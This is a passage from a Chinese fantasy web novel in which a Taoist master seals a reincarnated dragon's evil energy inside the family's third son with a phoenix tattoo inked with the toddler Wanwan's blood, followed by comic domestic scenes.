小婉婉被刘妈拉着手进门，黎墨郢已经洗完澡，穿着一件睡袍坐在客厅的沙发里等她。 “三哥哥，你怎么把画画洗掉了？”小婉婉气鼓鼓的跑过来质问。 黎墨郢在她靠近自己的时候，适时抬起手，掌心抵住她的额头。 “别过来，去洗澡。” 小婉婉撅着小嘴儿，一跺脚，“哼”了一声：“不理你了！” 说完，她倔嗒着两只小揪揪，跟着刘妈去了楼上。 黎墨郢则起身去了书房，找到纸和彩色铅笔，一起去上楼等她。 因为小婉婉弄得浑身都是沙土，洗澡着实用了一些时间，不过出来以后，变成了清清爽爽的小人儿，浑身都散发着奶香味儿。 “过来。”黎墨郢这才对她招了招手。 小婉婉不大高兴的走过去，在听见黎墨郢的问题后，两颗眼睛都变得亮晶晶的。 “你说要画的大老鹰，长什么样？” 小婉婉动脑筋思考了一会儿。 用她尽可能想到的词汇，加上小手一块儿跟着比画：“它长得好大好大，头上有会发光的羽毛！” “然后呢？” “然后……它有两只脚，嘴巴尖尖的。” 黎墨郢：“……” 鸟不都是长这样！ “说点有用的，它是什么颜色？” “它有很多颜色，而且会发出很亮的光，翅膀好大，尾巴好长好长……” 黎墨郢看着她夸张的比划和描绘，基本判断出它说的是什么。 纤细的指尖拿起彩色画笔，在纸张上勾勒起来，很快，就画出了雏形。 “是长这样？” 小婉婉眼睛更亮了，惊喜的“哇”了一声，小鸡啄米似的点头。 “对对，就是这样，三哥哥你好厉害，竟然一下就画对了！” 黎墨郢也不过是照着在书本上看过的图片记忆来描绘，加上他坚持精进的画工，使得一幅画画得惟妙惟肖。 “这哪里是大老鹰，明明是凤凰。” “对，是凤凰。”小婉婉小脸儿懵懂的，捋着杆子往上爬。 黎墨郢嘴角抽了抽，直接把她拉到身前来，将画笔塞到她手里，大手包裹住她的小手，另外拿了一张纸铺平。 “我教你画，好好学。” “嗯！” 小婉婉趴在桌子前，握着铅笔的小手紧攥着，在黎墨郢的引导下，一点一点学习画线条。 虽然画出来还是有点歪歪扭扭，但至少比她自己画出‘四不像’的东西，强了一百倍！ 黎墨郢教她画了三遍，给她重新拿了一张纸，放开手：“你自己画一遍。” “好。” 小婉婉认真的点了点头，小手使劲儿攥着铅笔，仔仔细细的画了起来。 奈何…… “三哥哥，看，我画完了。”小丫头拿起她的画工，得意的展示。 黎墨郢满头黑线，看着她手里仍旧是四不像的画作，直接放弃了教学。 “你怎么这么笨？不画了，去睡觉。” 说罢，他拎着小婉婉的胳膊抱起来，大步走向卧室。 小婉婉还没反应过来就被放在床上，紧跟着黎墨郢也躺了下来，拉开蚕丝被盖在她身上，只给露出一颗圆滚滚的小脑瓜，透粉的小脸蛋儿，宛若一颗饱满多汁的水蜜桃。 “三哥哥……” “别说话，睡觉！”黎墨郢直接闭上眼睛。 小婉婉不服气，气哄哄的撅起小嘴儿，翻身，留给他一个圆咕隆咚的小后背。 黎墨郢睡的很沉，并没有被噩梦困扰。 但是睡到了半夜，忽然被手上的一阵刺痛惊醒。 第45章 你好呀，灯笼叔叔 别看小婉婉的年纪小，一口乳牙却很厉害，咬在手指头上，疼得黎墨郢倒吸了一口凉气！ “松口！”黎墨郢呵斥一声。 小家伙非但没松开牙关，反而越咬越紧。 黎墨郢起身一看，好样的，竟然在梦里咬人。 无奈，他掰开她的小下巴，把手指拿出来，看着上面留下深深的压印，混着晶莹的口水。 “小东西，看我明天怎么收拾你。”黎墨郢咬着后槽牙躺下去。 下一秒。 一只小拳头实打实的砸在他脸上，黎墨郢忙用手捂着鼻子，满是怨念的盯着身边的奶团子。 却听见她叽里咕噜说着梦话：“大黑龙，快走开！” 扑腾。 小人儿肉乎乎的小胖腿也踢了过来，幸好黎墨郢反应迅速，及时捂住下身，才没被她踢到命根。 至此，黎墨郢真想把这个没心没肺的小丫头胖揍一顿！ 他薄唇紧抿，盯着她熟睡的小脸蛋儿半晌，最终没能下得去手。 “臭丫头，老实睡觉！”黎墨郢将她的小胳膊和小腿都禁锢在怀里，这才躺下睡了个安稳觉。 …… 天，刚蒙蒙亮起来。 启明星伴着月光仍然挂在高空，黎墨城与黎墨冰带着满身的海风气息，进入别墅的大门。 守夜的佣人见到他们，立刻就给主人报信。 不到半个小时，黎老爷和黎老夫人来到客厅，见到了那位曾经来过家里的隐士高人。 “仙长！”黎老夫人激动的上前就要行礼。 高人上前一步，拖住老夫人的双臂，他今年也才不到四十岁而已，经受不住长辈的叩拜。 “老夫人莫要叫我仙长，我姓孙，单名一个隆字，您叫我小孙或者孙师傅都可以。” 黎老夫人连连点头，直接就说道：“孙师傅，不知道墨城和墨冰有没有告诉你，我们家老三的情况？他真的是被天煞附体吗？” 孙师傅没有回话，而是先安抚她的情绪。 “老夫先不要紧张，我这次就是特意过来，想亲自见三少爷一面，为他解除当前的困扰。” “好，好！”黎老夫人喜极而泣，当即就要让人去传唤。 黎老爷出声制止：“现在时间还早，阿郢过来也需要时间，孙师傅一路劳顿，先休息一下，为他安排点早饭。” “对对！”黎老夫人心中懊恼，见到孙师傅太过着急，竟然把礼数都给忘了。 而孙师傅也并不着急，在黎老爷的邀请下坐了下来。 “我在来的路上，已经听闻大少爷、二少爷与我说起经过，天煞在关键时显形，乃是为了保住三少爷的性命，虽然以他肉体凡胎难以承受它的戾气，但是有小瑞凤在身边，并不妨事。”孙师傅捋着山羊胡，喂给他们一颗定心丸。 二老听了孙师傅的解释，纷纷松了一口气。 紧跟着，黎老爷便发出疑惑：“我家阿郢到底被何方神圣附体？还望孙师傅告知，让我们心中有数。” 孙师傅看着二人眼中的期盼，只闭上眼睛，道一句：“此乃天机，不可泄露。” 黎家二老满脸失望。 不过孙师傅既然这么说，他们也不强求，只能等到他与黎墨郢见过面再说。 …… 黎墨郢在睡梦中被佣人唤醒，本来气就不顺，又听见说黎墨城和黎墨冰从内地请来了高人，当时黑着俊俏的脸，浑身上下写满抗拒。 “我不去，别吵我。” “可是三少爷，老爷和夫人，还有大少爷二少爷都在等您……”佣人是受命过来的，黎墨郢不去，她没办法交差，只能等在门外继续催促。 “我说我要睡觉，吵什么吵？”低喝声，唤醒了睡在旁边的小人儿。 小婉婉揉了揉眼睛，首先映入眼帘的就是黎墨郢那张气包子脸，好像被人欠了钱一样。 “三哥哥，你怎么又生气了？”小家伙坐了起来，老气横秋的叹了一声。 “没你的事，睡觉。”黎墨郢把她按了回去。 然而，门外再次响起佣人的声音：“三少爷，打扰您休息对不住了，您还是得去一趟。” “我说我不去！” 黎墨郢刚吼完，一只小手就捂住了他的嘴。 只见小婉婉竖起一根手指头，眨巴着大眼睛，很小声的提醒：“三哥哥，你又不听话了，当心屁股开花儿哦。” 黎墨郢拿开她的手，被这么一吵，已经睡不着了。 憋着一口气，他干脆起床下了地。 “既然这么兴师动众，那我就去会一会！” …… 黎墨郢人还未至，客厅里的人首先听到一阵悦耳清脆的笑声。 随着一阵“腾腾”小跑的声音，三岁半的小奶团子先来到玄关，她身上穿着一件红色的小背心，下身是一条带着小熊图案的背带裤，虽然顶着两颗歪歪扭扭的小揪揪，可并不减少她可爱的魅力。 “哇，三哥哥你快看，那位胡子叔叔身上会发光，好像只灯笼呀！”小婉婉在玄关驻足，等待佣人给她找小拖鞋，同时回头跟黎墨郢讨论了起来。 黎墨郢顺着她的目光看去，在众多家人中，一眼就看见了穿着朴素长袍，梳着发髻，下巴上还带着山羊胡的中年男人。 他身上的光，黎墨郢没看见，倒觉得他更像到处要饭的老道，职业坑蒙拐骗。 黎墨郢漫不经心的收回眼，穿上佣人给他递来的拖鞋，将小婉婉抱了起来。 彼时，客厅里的人见他出现，全都站了起来。 尤其那位姓孙的师傅，在看见他怀里的小婉婉时，双眸灼灼，在情难自制的激动之下，竟不自觉流露出几分紧张。 “原来这就是小瑞凤。”孙师傅喃喃自语。 随着黎墨郢与小婉婉走过来，孙师傅目光转向他，仅一瞬间的对视，他脸上的紧张便化作凝重之色。 只见他退后了一步，抬手，躬身问候：“见过小小姐，三少爷。” 他的举动，让身后的人都蒙了一瞬。 要知道他刚才面见黎家的长辈都没有行礼，此刻，却对着两个晚辈，行了尊卑之礼，而且还打乱了长幼的顺序？ 但转念一想，他高人的身份，这么做，肯定自有他的道理。 不同于黎家人的紧张，和黎墨郢的倨傲不屑，小婉婉笑眯眯的对他挥起了小手：“你好呀，灯笼叔叔。” 第46章 前生余孽余孽未消 小婉婉仅是一声‘叔叔’，就让孙隆浑身汗毛竖了起来，更加小心的向后退了一步。 “小小姐，不敢当您的叔叔，您叫我孙隆就好。” “孙聋……聋子叔叔？可是你能听见我说话呀？”小婉婉眨巴着萌萌哒大眼睛疑惑。 黎墨郢适时发出一声轻嗤，却不是对孙隆发难，而是他怀里的小家伙。 “我教没教过你，不要随便跟陌生人说话，这么快就忘了！” “阿郢，不得对孙师傅无礼！”黎老夫人早就看出他的张狂，连忙出声警告，并快步走过去，将小婉婉接到怀里抱着。 并好声解释：“孙师傅，我这个孙子他从小就是这般性格，你不要跟他计较。” 没想到孙隆非但没有计较，反而神色复杂的看了黎墨郢一眼，谦卑开口：“无妨，三少爷肯称我一声老奴，已是高抬。” “啊？老奴？”黎老夫人不敢置信的瞪大眼睛。 黎老爷也同样惊讶，上前询问：“您不是说我家阿郢是天煞降世，为何降尊为老奴？” 孙师傅骇然的擦了擦冷汗，解释道：“三少爷即便是天命煞星也曾贵为神明，我等修行之人，不可与之相提并论。” “原来是这样……”黎老爷眉头紧皱。 至此，他也看出孙师傅即便对黎墨郢卑躬屈膝，却不是像婉婉那般敬重，而是……恐惧。 想到是自家将孙师傅请上门，黎老爷还是本着待客之道，看向黎墨郢：“阿郢，孙师傅千里迢迢从内地过来帮你，无论如何，你都不该失礼！” “帮我？我说过需要了吗？”黎墨郢身负少年英气，头脑并不蠢笨，只观察孙隆片刻，就看出他目的不单纯！ 尤其他看小婉婉的目光，让黎墨郢有一种，自己的宝贝被觊觎的感觉！ “老奴能否帮得上三少爷，只要给我半个小时时间，我自可开解您的困惑。”孙隆尽可能的放低姿态，回避黎墨郢身上散发出的戾气。 黎墨郢定定看了他几秒，知道不给他机会，家人不会把人打发掉，于是颔首：“好，我给你半个小时，看你能做出什么解释！” “跟我过来。”说完，黎墨郢率先走出门。 孙师傅则对老夫人怀里的小婉婉行了一礼，跟随黎墨郢一起出去。 二人一前一后来到黎墨郢的住处，房门闭合，客厅里只剩下两人。 孙师傅还没来得及开口，就被转过身的黎墨郢震慑—— 只见少年双眼呈现赤红，周身都被寻常人眼看不见的黑雾包裹，隐隐透露出黑色的龙魂，两只弯曲的龙角，宛若从深渊炼狱走出的恶鬼，密密麻麻折叠着暗光的鳞片，布满身上的皮肤。 他光是站在那不动，孙隆就感觉到了头顶的压迫，直至冒出冷汗，他再也禁不住庞大的戾气，双膝颤抖的跪在地上。 “若天命该如此，老夫今日死亦足矣！可三少爷身负孽障，到底要执迷到几时，方知悔改？”孙隆硬着头皮大喊。 既然抱着决心找来，他便斩断了回头路，再也没有什么可怕的。 “你知道我的过去？”黎墨郢低沉开口，随着理智被找回，他屏息凝神，极力压制体内异常的嗜血冲动。 但那股暴躁之力，是他在那日意外后，每当情绪波动，便无法收敛的。 孙隆察觉到生机，短暂的松了一口气。 “三少爷曾乃深渊炼狱黑龙转世，前生孽缘未消，如今再度弦续，瑞凤虽能伴你一时，倘若一旦分离，戾气爆走，三少爷肉体凡胎将会被自身煞气所焚，自此身消道陨！” “该如何破解？”黎墨郢闭上眼。 身消道陨。 那就是死了？ “老奴曾受缘分指引，来到黎家，料定三少爷会经此劫难，特回家中翻找古籍，再来相助！ 我孙家历代从师玄道，上有秘法注明，龙为至阳，实为至阴，凤为至阴，实为至阳，二者相互压制，却也能相辅相成。 若三少爷信我，只需取小小姐一滴指尖血，以凤图腾刺于胸背，便可困戾气于体内，待您随我一同游历人间，但行好事，戾气终可化解，使您重归神明之列！” 孙隆匍匐在地，一口气说出秘法，接下来就闭上眼睛，等待着黎墨郢的生死决断。 伴随着一阵凉风侵袭后背，黎墨郢不知什么时候来到他身后，锋利的指尖化作龙爪，扼住他的命脉。 只听见，他的嗓音杀机四起：“你做这些，对你有什么好处？” 孙隆见自己小命将要顾不得，连忙做投降状，一口气将心中意图说出来：“老奴修行三十二载，却只通天文地理，看相风水，家中祖传驱邪秘法迟迟不得长进，即便下地也无颜面对列祖列宗！三少爷与小小姐神明普照，或可助我修行！” 黎墨郢：“……” 原来是个为了修行，急功近利的疯子。 “取一滴指尖血，对她有什么影响？” “没影响！小小姐瑞凤临世，福泽世人，一滴指尖血，不抵常人被蚊虫叮个包。” “你最好没骗我，否则，我亲自送你去见祖宗！”黎墨郢松开了手。 而他之所以相信这玄道的话，也是想起小婉婉在他身上做的鬼画符。 虽然用墨水画成四不像，但却是遏制了他体内那股邪恶力量。 “老奴不敢，只是小小姐乃瑞凤降世，凡人别说取血，哪怕稍有不敬都会降临天罚，所以我们要从长……计、议。” 孙隆的话还没说完，黎墨郢已经像风一样走了。 孙隆赶忙追出去，而此刻距离他们单独交流，已经过去四十分钟。 黎家二老早就等的焦急不已，见到黎墨郢出现，他们齐刷刷站了起来。 “阿郢，你跟孙师傅谈的如何？” “问他。”黎墨郢眼睛的余光捕捉到孙隆追过来，快步走进客厅。 “把手给我。” 此时，小婉婉正没心没肺的抱着饭碗和勺子，把小嘴儿塞得鼓鼓的。 听见黎墨郢让她伸手，她眨巴眨巴眼睛，不疑有他的把小手伸出去，小嘴儿也咕哝起来：“山锅锅要得我好次的吗？” 而黎墨郢则握住她的手指头，取下衣襟上的胸针。 刚跑到门口的孙隆见状，知道他要做什么，恍若惊弓之鸟，再次匍匐在了地上。 “三少爷万万不可啊，小小姐乃瑞凤降世，若有伤及天降罪罚啊……” 第47章 婉婉的心意才是救命良药 孙隆嘴里的“啊”字音还没消，另一边，只听见小婉婉‘哎呦’一声，黎墨郢转身，摊开手掌。 “这些够吗？”他的掌心里，正存着一滴指尖血，鲜红透亮的汇聚成一颗珍宝似的小珠珠，拿给孙隆查看。 孙隆眼珠子差点儿从眼眶掉落，震惊得说话都结巴了。 “就这么取……取完了？” 下一秒，他的震惊声就被接二连三的抱怨盖了过去。 黎老夫人最先发难，走过来就在黎墨郢的头上打了一巴掌。 “你个臭小子，用针扎婉婉做什么？” 黎墨城：“黎墨郢，你敢扎婉婉，找死么？” 就连一直看热闹的黎墨冰，都忍不住怪他一句：“老三，你脑子秀逗了，这么大人，还搞恶作剧！” 至于黎老爷就更不用说了，他气得拍桌而起，对着黎墨郢就踹了两脚，踹完还觉得不解气，转了一圈，对佣人大喝：“我的家法呢？给我请出来，我今天先打死他个狗东西！” 最后还是小婉婉跑过来，替黎墨郢求情，才压制了老爷子的怒火。 “爷爷不气，三哥哥调皮，婉婉不跟他一般见识，呼呼就不疼了。” 说着话，小婉婉尝试给指尖呼呼，却发现平日对别人管用的方法，对自己不管用。 黎老爷看着她乖巧的小模样，心疼的不行，赶忙把她抱起来：“快别呼呼了，阿爷让人给你拿药箱，包上免得一会儿出血。” “就一个小口，不抵蚊子叮一下。”黎墨郢嘴角抽了抽。 黎老爷手边的茶杯直接飞过来，是黎墨城扔的。 “闭嘴，我看你是真的想挨揍！” 黎墨郢这才住了口，看着一大家人为小婉婉忙前忙后，顾不得他，便转头看向孙隆。 而孙隆则也在看着眼前这滑稽的一幕。 明明刚才还在为黎墨郢担忧的黎家人，转瞬就因为他伤了小瑞凤，恨不得把他下油锅煮了，失笑的摇了摇头。 “果然是小瑞凤，福临世间，恩泽无限，三少爷，小小姐保护您的心意，才是救您命的良药啊！” …… 黎墨郢的别墅里。 孙隆手握着文身笔，笔尖发出翁鸣的低颤，在落下的瞬间，少年的背脊猛地绷紧。 额角的汗水滴落，顺着下颌蜿蜒而下，他始终不吭一声。 “三少爷，要实在受不了，你可以咬点儿什么东西。” “少废话，纹你的！”黎墨郢嗓音嘶哑的低斥。 孙隆便住了口，专注于手下的任务，伴随着弯弯绕绕的弧线，逐渐显现出了凤凰的轮廓，从背脊经过肋下，延展到前胸。 尖锐的喙部，眼尾挑起，带着股未成形的凌厉。 孙隆在这期间时不时停下来，用沾了酒精的棉球，擦去渗出的血珠。 同黎墨郢一样，他的头上，和颈部，也都浮现出密密麻麻的汗珠，动作缓慢，宛若在雕琢一件精美的瓷器。 窗外，一阵鸟声波动，小婉婉打开房门，在刘妈的照顾下，从外面走了进来。 见到苦苦强撑的黎墨郢，她关切的跑过去：“三哥哥，你疼吗？” 大眼睛看着不断落在他身上的针尖，小婉婉瞬间就觉得，手指扎得一下不疼了。 黎墨郢咬着下唇，喉结滚动，死撑的道了句：“不疼！” “你都出汗了，我拿扇子给你扇扇。” 小婉婉倒腾着小短腿，跑进卧室，拿出了两把扇子，将其中的一把交给刘妈。 “我给三哥哥扇，你给孙师傅扇扇。” 孙师傅对她投来感激的神色：“谢谢小小姐。” 随即，他就遭到了黎墨郢的抱怨：“你认真点，要是给我纹错，走着瞧！” “是，三少爷。”孙师傅不再说话，就着扇子刮来的凉风，他擦了擦额头上的汗水，更加专心的忙碌。 黎墨郢也在感受到凉风以后，紧绷的神经逐渐放松，在适应了疼痛以后，也就没有一开始那么辛苦。 文身一直持续了四五个小时，终于颜料上完了，孙师傅拿起承装在砚台上的一滴指尖血。 进行下一步之前，他面色凝重的提醒：“三少爷，最后这一步做完，图腾就完成了，可能会有些痛苦，您先做个准备。” “啰嗦什么？我不需要准备！”黎墨郢早就没了耐心，冷着脸回头催促。 孙师傅面对他的臭脾气，也只能无奈的笑一笑。 而后，他看向一旁的小婉婉和刘妈。 “这一步至关重要，小小姐，为了你们的安全，还请回避一下。” 然而小婉婉根本不放心，摇着头说：“我在这里，刘妈先走。” 小婉婉坚持留下，孙师傅不敢忤逆，便看向旁边的刘妈：“那……麻烦你先回避一下？” 刘妈听从吩咐，收起扇子，退了下去。 待房门关上，孙师傅用一只银针，小心挑起那滴指尖血，落在凤凰文身的眼部。 刹那间，神奇的现象再次发生—— 本已凝固的指尖血，在触及到黎墨郢破损的伤口时，瞬间散发出金色耀眼的光。 随着那金光弥漫，转瞬便沿着凤凰文身的线条流淌，使得整个文身都散发出绵延不断的金色光泽，宛若凤凰本尊降临，活过来一般。 而黎墨郢则在指尖血滴下去的时候，发出痛苦的低吼，他紧紧的攥着双手，一股蓬勃而躁动的力量，似乎因为遭受到禁制，想要破体而出来抗争。 黎墨郢双眼散发出赤红色的光，背脊绷得像拉满的弓，墨色的鳞片长出血肉，散发着淋淋的寒意，唯独纹下凤凰图腾的地方，每当有鳞片生长，便会被金色的光燃烧，化作齑粉脱落。 “呃！”黎墨郢痛苦的撑起身体。 孙师傅在一旁提醒：“三少爷，此乃瑞凤之力作用关键，与你身体里的煞气冲撞，你一定要挺住啊！” “三哥哥，加油！”小婉婉也在紧盯着黎墨郢的情况，哪怕此刻的他模样恐怖，可她并没有表现出一丝害怕。 快要被煞气控制的黎墨郢，听见她的呼唤，努力摇晃头部找回了理智。 金色的凤凰图腾，也在随着他的意志力一点点苏醒，尾部舒展的纹路泛着灼热的光，仅仅是颤动了一下，那曜阳的辉光便扫掉了一大块鳞片，还原了他本来的皮肤。 可是黎墨郢的头部，却在此刻幻化出了龙角，带着煞气的红色瞳孔，因痛苦收缩成了竖瞳。 凤凰的金芒越旺盛，他体内的黑色煞气也宛若排山倒海般爆发出来，巨大的龙须摆动，掀翻了文身的工具台，连同站在他身边的孙师傅，也被挥舞的龙爪撞飞出去。 伴随着他的一声：“小心！”孙师傅的瞳孔放大了一倍。 只见巨大的黑色龙爪撕裂空气，直冲着小婉婉横劈而来！ 第48章 我的妈呀，谁能来救救我 “大黑龙坏蛋，让你欺负三哥哥！” 就在孙师傅以为小婉婉要受伤的时候，却见不大的小人儿非但没有被煞气伤害到分毫，反而浑身散发着灼灼金光，抓住了巨大龙爪，一股做气的倒腾着小身子，爬上了大黑龙的头！ 这心惊胆战的一幕，把孙师傅看得直发愣！ 接下来，小婉婉的两只手揪住巨大的龙须，而后又腾出一只小手，拽住龙角。 黑色的巨龙摇头摆尾，试图将她从头上甩掉。 小婉婉不仅不松手，反而拽得更紧了，刹那间，金色的辉光与黑色的煞气形成对抗之势。 逐渐地，随着金光越来越盛，黑色的煞气逐渐被吞噬，小婉婉抓住机会，对着黑龙的鼻子就咬了下去！ 小婉婉突如其来的一口，配合着凤凰图腾的威力，彻底将黑色的煞气压制，转瞬反弹回了身体内。 黎墨郢浑身的肌肉痉挛，恍若承受了千刀万剐般的剧痛，整个人都软倒了下来。 彼时，小婉婉的小嘴儿还悍在他的鼻子上，发现她咬的人变成了黎墨郢，她赶紧松开小嘴儿，用歉意的眼神看着他：“对不起，三哥哥，我咬的不是你。” “我知道。”黎墨郢咳嗽起来，每一次身体的震颤，都让他痛的眼前发黑，转瞬，就闭上眼睛晕死过去。 这可就倒霉了在他面前的小婉婉，被他压在身下，四脚朝天的扑腾小胳膊小腿。 “哎呦，三哥哥好重！” 孙师傅见状赶忙将黎墨郢扶起来，脸色极尽关心：“小小姐，刚才太凶险了，您没事吧？” “我没事。”小婉婉从地上站起来，揉了揉摔痛的小屁股。 紧跟着问：“三哥哥没事吧？” 孙师傅笑着颔首：“三少爷只是太累睡着了，我把他扶到里面休息。” “好。” 小婉婉跟随着孙师傅的脚步，虽然她人还太小，没什么力气，但仍然抓着黎墨郢的双手，将他带到床边。 孙师傅擦了擦头上的汗水，经历过这么一通折腾，也累的筋疲力竭，快要撑不住了。 “小小姐，三少爷身上的煞气才刚刚稳定，还需要你在旁边陪着他，接下来可能要辛苦你了。” “我没事，孙师傅累了，快去休息吧。”小婉婉贴心的说。 孙师傅欣慰颔首，给黎墨郢的文身处上了药，便退了出去。 就在孙师傅出别墅不久，准备去找黎家二老说明情况，并交代他们一些事情的时候。 忽然，平静的海面掀起了波澜，风声鹤唳的危机感，让他站定了脚步。 下一刻，不知从哪儿飞来的食猿雕，敛着巨大的翅膀，从远处俯冲而来，如同锋利的箭矢从地面掠过。 孙师傅在完全没有准备的情况下，就被它锋利的爪子抓住后领，给吊上了半空。 “啊！我的天呐！”恐高的孙师傅被吓得声音都变了调，慌张的抓住巨雕的双脚。 奈何，巨雕只是轻轻震动羽翼，遒劲的风就让孙师傅身体左摇右摆，根本就抓不稳。 “我的妈呀，谁能来救救我……”孙师傅欲哭无泪的呐喊。 可惜，就算有人听见，在近千米的高空之上，也没法第一时间救援。 好在巨雕没有将孙师傅丢下去摔死，而是有目的性那般，带着他飞离了海边，沿着山脉盘旋。 直至到了一个穷山沟附近，巨雕缓缓降落，待到适当的距离，逐渐松开了爪子。 孙师傅看见地上的场景，像一只猿猴，抓住巨雕的爪子，死不撒手。 “我错了，我知道错了，我不该建议取凤血，雕兄饶命……” 奈何，任由孙师傅如何求情，巨雕仍然松开爪子，巨大的羽翼煽动两下，孙师傅就那么被它无情的抛进臭水沟。 扑通！ 孙师傅身上混杂着烂菜叶、淤泥，和说不清的秽物，呛得他发出剧烈的咳嗽。 正好这时候又有人往水沟里倒了一桶发黄的尿液，孙师傅大惊失色，连滚带爬的往更深的地方游去。 “呀？这世道真是新奇诶，竟然有人喜欢在臭水沟里游泳！” 孙师傅：“……” 拜托，他也不想的好吗！ 就说伤害小瑞凤会遭报应，这下，可真让他给应验了。 …… 孙师傅在水沟折腾半晌才爬上岸，苦苦哀求一位老乡收留，洗了澡，换上衣服，连忙往海边别墅区赶。 等到回来，已经接近后半夜。 黎家二老还在纳闷儿，他怎么给黎墨郢解决了问题，不打招呼就走了。 孙师傅有苦难言，不过当下并不是诉苦的时候，他面色凝重的叮嘱二人：“三少爷与小小姐的身份乃是天机，知道的人已太多，目前除去二位，以及大少爷、二少爷，日后关于三少爷的情况，还望对其他人都保密。” 实际上，黎家老二自此也不知道，黎墨郢到底是何方神圣，只是听说他为天命煞星转世，孙师傅有化解之法而已。 现下孙师傅特意交代，二人立刻答应保密。 至于家里的其他人，虽然那日在海上见到了奇观，也都以为是神明庇佑，二老不提，他们谁也不敢擅自打探。 “就是孙师傅……若将来有人像您一样窥破天机泄露出去，该怎么办？”黎老夫人不禁为之忧心。 孙师傅笑了笑，告诉她不必介怀。 “三少爷与小小姐都乃神明降世，即便被修行之人窥破身份，但凡抱着加害之心，必然承受天谴反噬，所以二位且把心放在肚子里。” “那就好，孙师傅，你还要走吗？万一阿郢他再出现问题，我们到哪儿去找您？”黎老夫人还是心有余悸。 直到听他说要在家里住下，且会一直等待黎墨郢状况稳定，再做定夺。 黎老夫人这才彻底安心，命佣人安排住处，准备饭菜招待。 …… 黎墨郢一觉醒来，身体还能感受到余痛，尤其是纹着图腾的地方，烧灼的感觉强烈。 连喝一口水，都要停顿好几次。 小婉婉心疼的替他擦拭汗水，而后提出：“三哥哥，要不我给你呼呼吧？呼呼就不痛了。” 黎墨郢这次终于不再死撑，顺从的躺下来，让小婉婉给在文身处呼气。 然而如同她自己指尖的伤口一样，这个方法根本就不顶用。 小婉婉烦恼的挠了挠头上的呆毛，“咦，这是怎么回事儿？” 正纳闷儿，一道憨厚的声音传来：“小小姐虽然拥有治愈之力，可您现在也是肉体凡胎，承受不住凤血之力，自然治愈的能力锐消。三少爷这凤图腾取了您的指尖血，自然也得需要遵循您的规律，慢慢恢复。” 第49章 特别的爱（标题党） “所以她的能力可以治愈别人，却治不了她自己？什么狗屁逻辑！”黎墨郢眉头紧皱。 望着地上眼神呆萌的小丫头，忽然懊恼昨天轻易刺伤了她。 “小小姐的能力类似于医者不能自医，正是因此，天道才会眷顾她。”孙师傅感慨道。 “天道眷顾？如果有人存心加害，她不还是会受伤！就算过后会遭报应，也是马后炮！” 孙师傅不置可否的叹了口气：“小小姐现在毕竟也是肉体凡胎，常人稍不注意都会受点小伤，小小姐在人世间，也在所难免。” 如果真的不伤、不老、不死，那又何谈为人呢？ 那是神明，应该存在于九天之上，而不是这凡尘世界。 黎墨郢不顾身上的疼痛，从床上起身，问孙师傅：“你那里就没有什么护身符，给她也画一个。” 孙师傅明白黎墨郢的意思，兀自摇了摇头。 “天道庇护已是极限，任何的护身符，都不能与之相比。” 黎墨郢没有再开口，目光定定的看着面前的三岁小人儿，他深沉的内心，第一次，产生对她的强烈保护欲。 既然她无法自愈，那不让她受伤便可！ “三少爷应该能够感觉到，煞气被压制后，在您的体内，蕴藏着另一种力量。”孙师傅找到了合适的机会，适时对他提到另外一件事。 黎墨郢向他看去。 孙师傅缓缓道来：“您的另一种力量，也是神明之力，只要您潜心修炼，假以时日，便可获得超乎常人的本领。” 黎墨郢听他说的神乎其神，不屑的发出冷笑。 “那又能怎么样？我不还是个人？难不成还能成神？” 孙师傅却露出老狐狸一般的微笑，“不尽然，但三少爷若想保护小小姐，那就会需要这份本领。” “你又知道？”黎墨郢眯了眯眼睛。 孙师傅谦卑的躬下身去：“孙某不才，会一点心算之术，何况……” “何况什么？” “何况三少爷您的心思，都写在脸上了。” 黎墨郢：“……” …… 孙师傅给黎墨郢答疑解惑之后，便回去休息了。 而黎墨郢也要继续休养，等待图腾的伤口愈合，中午的时候，黎老夫人带着刘妈亲自送饭过来。 黎墨郢没什么胃口，只喝了几口汤就什么都不再吃。 反观小婉婉，左手拿着小叉子，右手攥着虾饺，大快朵颐的整张小嘴儿上都是油。 黎老夫人用手绢给她擦嘴，一边瞟向床上躺着的人。 “孙师傅都跟我说了，不就是纹个身，用不用这么娇气啊你？这么下去，就算是天命煞星，不吃饭也得饿死！” 床上的黎墨郢嘴角抽了抽，不就是纹个身，亏那个布衣老道说的出口！ “阿奶，我真的没胃口。”黎墨郢生无可恋的嘀咕。 黎老夫人从椅子上站起身，走到床边问道：“没胃口和没命你自己选！难不成让我做满汉全席给你？” 黎墨郢闭了闭眼睛，最后在老夫人的催促下，起来又多吃了几口馄饨。 照顾完两个小家伙吃完饭，黎老夫人也要回去休息。 临走时，她告诉黎墨郢：“等你好差不多，咱们就回家里去！真是，好不容易才出来一趟，玩得都不尽兴。” …… 黎老夫人离开不久，房门外又传来一阵“咚咚咚”走路的声音，光听那轻快的脚步就能辨别出，不是家里的佣人。 黎墨郢将睡未睡，等到脚步声走近，人还没进来，先闻到了一股极具侵略性的气息，穿透力极强的传进卧室，飘进他的鼻子里。 霎时，眉头紧蹙。 下一秒，房门打开，黎墨冰手里端着餐盘，闲庭散步的走了进来。 “二哥哥。”小婉婉这两日在屋里陪伴黎墨郢，都没机会出去玩了，此刻见到黎墨冰过来探望，开心的倒腾小腿跑了过去。 只是她刚准备伸出手要抱抱，小鼻子动了动，猛地刹车，用小手捂住鼻子。 “什么味道？二哥哥，你踩到狗粑粑了吗？” 黎墨冰“哈哈”大笑，抬起手，揉了揉她的小脑瓜，展示托盘里的东西。 “是它的味道，可不是狗粑粑。” “这是什么？”小婉婉凑上去看了看，就看见一坨黄油油的，月牙状的东西，好奇地用指尖戳了一下。 “这是榴梿，小婉婉没吃过吧？来，这是二哥特意给你拿来的，让你尝尝。”说着，他看了眼床上被熏得生无可恋的黎墨郢，兀自把小婉婉抱起来。 说道：“这东西性热，老三你身上的文身还没好，今天就没你的份儿了。” 黎墨冰抱着小婉婉坐在凳子上，掰下一半榴梿肉，引导她尝一口。 小婉婉还用手捏着小鼻子，试探性的张开小嘴，咬了一口。 尝到了丝滑的甜味儿，小家伙的眼睛睛刷的亮起来！ 竖起大拇指，比个赞：“嗯，甜甜的，好香！” “好吃吧？这一块都是婉婉的，咱们慢慢吃。”黎墨冰将餐盘放在桌子上，让她自己拿着吃。 而后他起身，双手背负来到床边，嘴角噙着一抹坏笑。 “老三，你就这么天天躺床上，一点儿也不着急？” 黎墨郢本来就被冲鼻子的榴梿味熏得头疼，现在又被嘲笑，英挺的眉头拧着。 “不是你躺在床上，屁股开花的时候了。” 